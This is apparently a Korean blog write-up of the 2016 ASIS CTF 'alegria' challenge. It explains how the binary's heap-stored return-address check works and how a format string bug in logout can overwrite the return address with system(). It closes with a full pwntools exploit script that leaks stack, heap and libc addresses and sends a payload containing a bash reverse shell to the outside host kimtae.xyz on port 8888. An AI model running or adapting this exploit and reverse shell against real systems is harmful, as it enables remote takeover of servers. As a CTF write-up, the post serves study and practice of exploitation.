튜기's blogggg

2016 ASIS CTF alegria

by St1tch



먼저 보호기법을 살펴보면 비교적 간단하게 되어있다.



함수의 프롤로그 부분



함수의 에필로그 부분



그런데 정적분석을 하다보면 함수마다 프롤로그 에필로그 부분에 같은 코드가 계속 반복되어 있는 것을 확인 할 수 있다.


연결리스트로 연결되어 있는듯한 모습을 하고 있는데, 

대략 이런식으로 연결리스트가 구성된다고 생각하면 된다.


에필로그 부분에서는 프롤로그 부분에서 힙에 저장한 ret주소가 현재도 같은지 확인을 하고 같으면 

이전 함수의 구조체 주소+8에 0xDEADCD80을 다시 저장을 한다.


즉, 이 문제는 보호기법에서 canary가 없는 대신, 

힙에 간단한 연결리스트를 만들고 ret값을 저장하여 ret부분이 overwrite됬는지 매 함수마다 확인을 한다고 생각하면 된다.


이 부분은 인텔에서 발표한 CET보호기법의 shadow stack에서 ret주소를 체크하는 것과 비슷하다.


이제 이 부분을 알았고, 취약한 부분을 찾아야 하는데, logout을 하는 부분에 취약한 부분이 있다.

                            



로그인을 하면 입력했던 note들을 다시 불러오기 위해 저장을 하는 부분인데, 빨간색 줄이 그어져 있는 부분에서 fsb가 발생한다.

스택의 원하는 값을 fsb를 이용해서 충분히 read, write 할 수 있기 때문에, 어떻게 공격할지를 정해야 한다.


여기서 주의할 점은 full relro이기 때문에 got overwrite가 되지 않는다.

다른 방법도 있겠지만, ret를 system함수의 주소로 수정하고, 원하는 명령어를 넣어서 리모트쉘을 따는게 바람직해 보인다.

fork를 이용한 문제이기 때문에 remote shell 명령을 실행시킨다고 생각하고 페이로드를 짜면된다.


하지만 ret를 수정을 하면 위에 설명했다시피, canary가 없지만 똑같은 역할을 하는부분이 있기 때문에 그냥 수정을 하게되면 종료가 되버린다.

ret를 수정을 하기 위해서는 heap에서 현재함수의 구조체+0의 값을 똑같은 값으로 수정을 해야한다.

이렇게 되면 조건문을 넘어가기 때문에 원하는 주소를 쓸 수 있다.



내가 푼 순서는

 

1. %p를 여러개 찍고, gdb에서 attach하여 정확한 fsb offset을 찾았다.

2. 주소를 얻기 위해 offset기준으로, stack주소, heap주소, libc주소 3개의 적당한 주소를 fsb를 이용해서 알아냄 

3. libc주소를 가지고 오프셋 계산을 통해 system함수의 주소를 알아냄

4. logout함수에서 

   ret-> system주소, 

   heap에서의 구조체+0 -> system주소, 

   ret+8 -> 리모트 쉘 커맨드의 주소

   이렇게 3개를 overwrite하는 fsb payload를 만들어보냄

5. 리모트 쉘 냠냠쩝쩝




from pwn import *
import stitch

local = True
if local :
    s = remote('localhost', 8282)
    raw_input()
else :
    s = remote('alegria.asis-ctf.ir', 8282)


def command(*args) :
    s.recvuntil('>')
    for i in args :
        i = str(i)
        s.sendline(i)
        sleep(0.2)

#1. Register
#2. Login
#3. Exit
register = lambda id_, pw_ : command(1, id_, pw_)
login = lambda id_, pw_ : command(2, id_, pw_)
exit = lambda : command(3)

#1. take new note
#2. view notes
#3. clear all notes
#4. Logout
new_note = lambda t_len, c_len, title, content : command(1, t_len, c_len, title, content)
view_note = lambda : command(2)
clear_note = lambda : command(3)
logout = lambda : command(4)


def solve() :
    stoh = lambda x : int(x.lstrip('0x'), 16)
    p = log.progress('Start exploit!  \nSTATE -> ')
    p.status('1. login...')
    register('b', 'b')
    login('b', 'b')
    clear_note()

    p.status('2. fmt writing...')
    fmt = '%285$p,%338$p,%293$p'
    new_note(32, 512, 'stitch', fmt)
    logout()

    p.status('3. memory leak...')
    login('b', 'b')
    view_note()
    tmp = s.recvuntil('\n\n').replace('\x00', '').strip().split('\n')
    stack_addr, main_ret, heap_addr = map(stoh, tmp[3].split()[1].split(','))
    stack_addr -= 48
    cmd = stack_addr - 1008
    libc = stitch.find_libc({'main_ret':hex(main_ret)[-3:]})[0]
    libc_offset = main_ret - libc['main_ret']
    system = libc_offset + libc['system']

    log.info('system addr = {0}'.format(hex(system)))
    log.info('cmd addr = {0}'.format(hex(cmd)))
    log.info('stack addr = {0}'.format(hex(stack_addr)))
    log.info('heap addr = {0}'.format(hex(heap_addr)))

    p.status('4. memory overwrite...')
    fmt = stitch.fsb(3, {stack_addr+4:system, stack_addr+12:cmd, heap_addr:system}, 0)
    pay = fmt + "bash -c 'bash>&/dev/tcp/kimtae.xyz/8888 0>&1'\x00"
    clear_note()
    new_note(32, 512, 'stitch', pay)
    logout()

    p.success('get remote shell.!')
    raw_input('check remote shell.!')

if __name__ == '__main__' :
    solve()





오홍홍


블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기